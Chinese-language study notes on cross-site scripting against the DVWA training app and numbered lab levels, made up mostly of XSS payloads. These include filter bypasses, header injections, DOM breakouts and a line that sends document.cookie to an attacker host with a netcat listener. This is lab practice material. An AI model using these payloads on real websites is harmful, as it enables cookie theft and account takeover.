1. XSS(Reflected)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!--直接填-->
<script>alert(document.cookie)</script>
<script>confirm(document.cookie)</script>
<!--补全闭合标签-->
"><script>alert(document.cookie)</script>
<!--闭合添加事件-->
" onclick="alert(document.cookie)
<!--htmlspecialchars 使用单引号闭合-->
' onclick='alert(document.cookie)
<!--使用a标签-->
javascript:alert(document.cookie)
"><a href="javascript:alert(document.cookie)"/>
<!-- 6 大写-->
"><a HREF="javascript:alert(document.cookie)"/>
<!-- 7 双写-->
"><SSCRIPTCRIPT>alert(document.cookie)</SSCRIPTCRIPT>
<!-- 8 Unicode编码 javascript:alert(document.cookie)-->
javascript:alert(document.cookie)
<!-- 9 unicode编码 注释 http:\\ -->
javascript:alert(document.cookie);/*http://*/
<!-- 10 补全 替换type -->
t_sort="onclick="alert(123)" type="
<!-- 11 改referer 需要bp拦截包改 -->
Referer: "onclick="alert(123)" type="
<!-- 12 bp改UA -->
User-Agent: "onclick="alert(123)" type="
<!-- 13 bp改Cookie -->
Cookie: user="onclick="alert(123)" type="
<!-- 15 文件包含-->
'level1.php?name=<img src=1 onerror=alert(123)>'
<!-- 16 %0a替换空格 不用"/"-->
><img%0asrc=1%0aonerror=alert(123)><!--
10、

1.1. LOW
1
2
3
4
5
6
7
#获取Cookie
<script>alert('document.cookie')</script>
#访问攻击者服务器
<iframe src='http://ip/time.jpg'></iframe>
#向攻击者服务器发送cookie
#nc -nvlp 80
<script>new Image().src="http://ip/a.php?output="+document.cookie;</script>
1.2. MEDIUM
利用大小写,组合过滤条件绕过
1
2
3
4
5
<Script>
<scr<script>ipt>
<body onload=alert('')>
<a href=javascript:alert(123)>123</a>
<img src="" onerror="alert(document.cookie)"/>
1.3. HIGH
1
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$_GET['name']);
无法使用<script>但可以使用其他标签
1
<a href=%23 onclick=alert(123)>123</a>
2. XSS(Stored)
2.1. LOW
后台源码:
trim(string,charlist):移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string):去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection):函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$GLOBALS:引用全局作用域中可用的全部变量。
2.2. MEDIUM
1
2
htmlspecialchars()
//将标签转为普通字符
name为注入点
2.3. HIGH
name为注入点
3. XSS(DOM)
3.1. LOW
url注入
1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
3.2. MEDIUM
1
2
3
></option></select><img src=1 onerror="alert(document.cookie)"/>
default=French</option><h1>123</h1><!-- #h1标签消失猜测未闭合select-->
default=French</option></select><a href=javascript:alert(123)>123</a><!--
3.3. HIGH
服务器对default设置了白名单,攻击代码用#注释不上传到服务器
1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(document.cookie)</script>